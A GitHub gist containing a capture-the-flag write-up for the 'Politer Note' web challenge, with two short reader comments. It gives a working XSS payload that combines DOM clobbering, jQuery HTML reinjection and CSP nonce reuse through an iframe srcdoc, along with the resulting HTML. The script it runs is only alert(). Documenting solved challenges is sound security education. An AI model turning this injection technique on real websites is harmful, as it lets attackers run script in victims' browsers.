Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active May 20, 2021
Embed
What would you like to do?
Politer Note - writeup

Write-up

Solution

<a id=bad1 href='cid:="</div">'>
<a id=good1 href="cid:></script><iframe srcdoc='$'">

<a id=bad2 href="http://politernotepad.zajebistyc.tf/static/badwords.js">
<a id=good2 href='data:,alert(/greetings from terjanq/)"></script>'>

<a id=bad3><a id=good3>
<a id=bad4><a id=good4>

<script cid:=

Link: http://politernotepad.zajebistyc.tf/note/qLIoyYIVAYaLnrdUYHszqaKmQdaMdG

The injected HTML directly into HTML source code will look like:

    <div id="content">
    <a id=bad1 href='cid:="</div">'>
<a id=good1 href="cid:></script><iframe srcdoc='$'">

<a id=bad2 href="http://politernotepad.zajebistyc.tf/static/badwords.js">
<a id=good2 href='data:,alert()"></script>'>

<a id=bad3><a id=good3>
<a id=bad4><a id=good4>

<script cid:=
    </div>
    <script nonce=ltxemCDlbYI2Vt-18xET_g src="http://politernotepad.zajebistyc.tf/static/badwords.js" integrity="sha384-1UV2mnC+iV6gBvv4glb0sAC2atcScwkpEzz5GN3WmVgok8MckQ1yn74acklRk0uo">
    </script>
    <script nonce=ltxemCDlbYI2Vt-18xET_g>
        var footer = 'if you see anything impolite in this page please <a href="'+document.referrer+'">go back</a>';
        footer = '<div>'+footer+'</div>';

        content = $('#content').html();
        content += footer;
        content = content.replaceAll(bad1, good1);
        content = content.replaceAll(bad2, good2);
        content = content.replaceAll(bad3, good3);
        content = content.replaceAll(bad4, good4);
	console.log(content);
        $('#content').html(content);
    </script>

Observations

  1. Thanks to the <script cid:= at the end, loading a script http://politernotepad.zajebistyc.tf/static/badwords.js will fail because of enclosing it into a <script>...</script>. That script defines a few variables:
var bad1 = 'fuck'
var good1 = 'f**k'
var bad2 = 'shit'
var good2 = 's**t'
var bad3 = 'damn'
var good3 = 'd**n'
var bad4 = 'dragon sector'
var good4 = 'p4'
  1. Because we blocked loading the script, we can now DOM Clobber those properties via <a id=bad1 href=cid:zzz>
  2. On the page we can notice that some replacements are made content = content.replaceAll(bad1, good1); and the content is reinjected via Jquery .html(). With clobbering we can replace strings that are valid URLs to something that is a valid URL.
  3. Because we have <script nonce=ltxemCDlbYI2Vt-18xET_g src="http://politernotepad.zajebistyc.tf/static/badwords.js" integrity="sha384-1UV2mnC+iV6gBvv4glb0sAC2atcScwkpEzz5GN3WmVgok8MckQ1yn74acklRk0uo"> </script> on the page, we could potentially replace http://politernotepad.zajebistyc.tf/static/badwords.js with data:,alert()"></script> to execute a script with removing integrity beforehand. Normally executing scripts won't work in innerHTML, but jQuery calls _evalUrl that fetches the response and executes it. Though, this will be blocked by the CSP due to default-src 'self'. I haven't also found a way to easily remove src= from the script that would prevent that.
  4. Instead of taking advantage of JQuery's script evaluators, we could put our payload inside <iframe srcdoc='payload'> with the desired <script nonce="ltxemCDlbYI2Vt-18xET_g" src="data:,alert()"></script>.
  5. But how to retrieve the nonce?? We can read from the spec that $' Inserts the portion of the string that follows the matched substring.. So if we replace cid:="</div"> with cid:></script><iframe srcdoc='$' and then http://politernotepad.zajebistyc.tf/static/badwords.js with data:,alert() that way we will create the below code that executes alert()

Actually $' is unnecessary, cid:></script><iframe srcdoc=' will work just fine. That's a leftover from when I needed it in my other attempts

    <a id="bad1" href="cid:=&quot;</div&quot;>">
</a><a id="good1" href="cid:></script><iframe srcdoc='$'">

</a><a id="bad2" href="data:,alert()"></script>">
</a><a id="good2" href="data:,alert()&quot;></script>">

</a><a id="bad3"></a><a id="good3">
</a><a id="bad4"></a><a id="good4">

<script cid:></script><iframe srcdoc='
    <script nonce=TPFdWJqbDkzc5ii54br2Sw src="data:,alert()"></script>" integrity="sha384-1UV2mnC+iV6gBvv4glb0sAC2atcScwkpEzz5GN3WmVgok8MckQ1yn74acklRk0uo">
    </script>
    <script nonce="">
        var footer = 'if you see anything impolite in this page please <a href="'+document.referrer+'">go back</a>';
        footer = '<div>'+footer+'</div>';

        content = $('#content').html();
        content += footer;
        content = content.replaceAll(bad1, good1);
        content = content.replaceAll(bad2, good2);
        content = content.replaceAll(bad3, good3);
        content = content.replaceAll(bad4, good4);
	console.log(content);
        $('#content').html(content);
    </script></a><div>if you see anything impolite in this page please <a href="http://politernotepad.zajebistyc.tf/add">go back</a></div>
    <script nonce=TPFdWJqbDkzc5ii54br2Sw src="data:,alert()"></script>" integrity="sha384-1UV2mnC+iV6gBvv4glb0sAC2atcScwkpEzz5GN3WmVgok8MckQ1yn74acklRk0uo">
    </script>
    <script nonce="">
        var footer = 'if you see anything impolite in this page please <a href="'+document.referrer+'">go back</a>';
        footer = '<div>'+footer+'</div>';

        content = $('#content').html();
        content += footer;
        content = content.replaceAll(bad1, good1);
        content = content.replaceAll(bad2, good2);
        content = content.replaceAll(bad3, good3);
        content = content.replaceAll(bad4, good4);
	console.log(content);
        $('#content').html(content);
    </script></a><div>if you see anything impolite in this page please <a href="http://politernotepad.zajebistyc.tf/add">go back</a></div>
@isira-adithya
Copy link

isira-adithya commented May 16, 2021

👏👏👏👏

@P0cas
Copy link

P0cas commented May 18, 2021

You are god

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment